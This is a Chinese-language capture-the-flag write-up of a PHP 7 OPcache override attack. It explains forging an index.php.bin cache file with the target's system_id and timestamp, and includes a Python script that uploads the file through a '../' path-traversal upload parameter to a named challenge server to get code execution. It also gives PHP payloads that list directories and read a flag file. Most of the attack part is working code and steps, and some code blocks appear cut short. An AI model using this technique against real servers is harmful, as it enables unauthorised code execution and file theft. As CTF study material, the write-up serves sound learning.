参考文献:https://www.jianshu.com/p/e675bd51c61
http://www.vuln.cn/6763
https://github.com/GoSecure/php7-opcache-override
题目
Opcache 是一个 PHP 内置的加速模块就行,当 PHP 解析器在解析一个 PHP 文件的时候,假如该文件对应的 byte-code 存储在内存中,则省去了转换过程直接执行了;反之则会编译,并将编译后的 byte-code 存入到内存中(以文件名作为索引)。
在php7中利用默认的Opcache引擎实施攻击的方式:利用此攻击向量,攻击者可以绕过Web目录禁止文件读写的限制,也可以执行恶意代码
利用条件:
- 目标服务器是php7并开启了opcache缓存
- 获得目标详细的各种环境信息,最直接的是拿到phpinfo
- 支持文件上传,能上传.bin文件到tmp目录下
- 若目标服务器开启了时间戳校验,要么爆破时间戳,或者cms的大部分文件并不会被修改,时间戳与源码一致
在指定的目录中,OPcache存储了已编译的php脚本文件,这些缓存文件被放置在和web目录一致的目录结构中。如,编译后的/var/www/html/index.php文件的缓存会被存储在/tmp/cache/system_id/var/www/html/index.php.bin。system_id是当前PHP版本号,Zend 扩展版本号以及各个数据类型大小的 MD5 哈希值。在最新版的 Ubuntu(16.04)中,system_id 是通过当前 Zend 和 PHP 的版本号计算出来的,其值为 81d80d78c6ef96b89afaadc7ffc5d7ea
当OPcache在第一次缓存文件时,上述目录就会被创建。运行Web服务的用户对OPcache缓存目录(如:/tmp/opcache/)里面的所有子目录以及文件都具有写权限。
要利用OPcache执行代码,需要先找到OPcache的缓存目录(如:/tmp/opcache/system_id)以及Web目录(如:/var/www)。假设,目标站点已经存在一个执行phpinfo()函数的文件了。通过这个文件,我们可以获得OPcache缓存目录,Web目录,以及计算system_id所需的几个字段值
思路
- 先在本地搭建环境,生成自己的index.php的opcache
- 访问目标服务器的
index.php?action=phpinfo
,得到phpinfo,并通过项目https://github.com/GoSecure/php7-opcache-override计算得到其system_id - 先访问
index.php?action=reset
再访问index.php?action=time
,清空服务器的index.php然后重新touch index.php,并获得其时间戳 - 修改自己本地的index.php.bin的system_id和时间戳,与服务器相同,并上传到目标服务器的tmp相应目录下
- 访问
index.php?action=shell
,成功include index.php,此时以缓存的内容为主,成功 get shell
本地搭建测试环境。
chmod 777 /tmp/opcache
(不给全部权限的话,会不出东西。。。)
切换到
/etc/php/7.0/apache2/php.ini
,在php.ini里面加入,然后重启apache2服务1
2
3
4
5
6[opcache]
opcache.validate_timestamps = 0 ; PHP 7 的默认值为 1,即开启时间戳校验
opcache.file_cache_only = 1 ; PHP 7 的默认值为 0
opcache.file_cache = /tmp/opcache
[php]
zend_extension=opcache.so ;有些还需要再添加这句在
/var/www/html/opcache
目录下创建一个index.php,里面内容随便填写,然后运行1
wget 127.0.0.1/opcache/index.php
- 然后在
/tmp/opcache
目录下出现了缓存配置
获得目标服务器的system_id和时间戳
http://202.120.7.217:9527/index.php?action=phpinfo得到服务器的phpinfo.txt
1 | import hashlib |
1 | import requests |
在010里面修改index.php.bin的
system_id
和时间戳
上传修改后的index.php.bin到目标服务器对应的tmp目录下(upload.php)
1
2
3
4
5
6
7
8
9
10
11
12import requests
files = {'file': open("index.php.bin", 'rb')}
url = 'http://202.120.7.217:9527/index.php?action=upload&name=../../../../../../../../../tmp/cache/7badddeddbd076fe8352e80d8ddf3e73/var/www/html/sandbox/bad02726262861710a4eb6b90e0eb13ad8b7dacc/index.php.bin'
print ('upload url:')
print (url)
r = requests.post(url,files = files)
print (r)
url = 'http://202.120.7.217:9527/index.php?action=shell'
print ('shell:')
print (requests.get(url).text)
接下来各种写shell
目标服务器的目录权限限制,导致不能写入一句话木马,目标服务器的system等调用系统命令等函数被禁用,导致无法反弹shell
只能老老实实用php函数,读取想要的东西
修改index.php内容,读取目录信息
1
2
3
4
5
6
7<?php
echo 'OK';
echo 'scan flag dir';
echo var_dump(scandir('/var/www/html/flag'));
echo 'scan sandbox';
echo var_dump(scandir('var/www/html/sandbox/bad02726262861710a4eb6b90e0eb13ad8b7dacc/'));
?>运行python upload.php,发现可疑的文件或目录93f4c28c0cf0b07dfd7012dca2cb868cc0228ca
再修改index.php里面的内容。
1
2
3
4
5<?php
echo 'OK';
echo 'read 93f4c28c0cf0b07dfd7012dca2cb868cc0228ca:';
echo base64_encode(file_get_contents('/var/www/html/flag/93f4c28c0cf0b07dfd7012dca2cb868cc0228ca'));
?>运行python upload.php读取文件。